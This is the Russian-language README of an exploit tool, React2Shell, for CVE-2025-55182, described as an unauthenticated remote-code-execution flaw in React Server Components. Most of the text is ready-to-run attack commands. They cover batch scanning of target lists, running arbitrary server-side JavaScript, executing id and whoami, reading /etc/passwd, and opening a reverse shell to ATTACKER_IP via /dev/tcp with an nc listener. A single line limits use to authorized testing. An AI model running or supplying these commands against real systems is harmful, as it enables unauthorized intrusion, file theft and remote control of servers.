
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
Сканер удалённого выполнения кода для React Server Components (RSC)
| Роль | Имя | Ссылка |
|---|---|---|
| Первичное исследование | Lachlan Davidson | github.com/lachlan2k |
На основе оригинального PoC: React2Shell-CVE-2025-55182-original-poc
React2Shell — это полнофункциональный сканер безопасности для CVE-2025-55182, критической уязвимости удалённого выполнения кода (RCE), затрагивающей реализации React Server Components (RSC). Эта уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольный JavaScript-код на сервере через небезопасную десериализацию в протоколе React Flight.
# Клонируем репозиторий
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Устанавливаем зависимости
pip install requests
# Запускаем сканер
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
Пассивно определяет уязвимые версии React и фреймворков:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)Активно подтверждает RCE с помощью нескольких методов и всех 4 вариантов полезной нагрузки:
# Базовая проверка (изменение дайджеста)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Проверка на основе времени
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# Внеполосный обратный вызов (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Полная проверка с подробным выводом
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)Выполнение произвольных JavaScript-полезных нагрузок:
# Получить версию Node.js
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Выполнить системную команду
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Прочитать файл
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)Сканирование нескольких URL из файла с показом только уязвимых целей:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Определение версии (режим по умолчанию)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# Проверка RCE
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Пакетное сканирование нескольких целей
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Подробный вывод
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Проверка на основе времени + внеполосная проверка
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Извлечение информации о сервере
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Выполнение команды
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Запуск слушателя
nc -lvnp 443
# Выполнение обратной оболочки
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.
| Аргумент | Описание |
|---|
-t, --target | URL цели (например, https://example.com) |
-f, --file | Файл со списком URL (по одному в строке) для пакетного сканирования |
-m, --mode | Режим сканирования: version (по умолчанию), verify или custom |
--js | JavaScript-код для пользовательского режима |
--extract | Извлечение строкового результата посимвольно |
--sleep SECONDS | Проверка RCE на основе времени (режим verify) |
--callback URL | HTTP-адрес обратного вызова для внеполосного тестирования (режим verify) |
--dns DOMAIN | DNS-домен обратного вызова для внеполосного тестирования (режим verify) |
-v, --verbose | Подробный вывод с деталями полезной нагрузки |
--no-color | Отключить цветной вывод |
--timeout SECONDS | Таймаут HTTP-запроса (по умолчанию: 30) |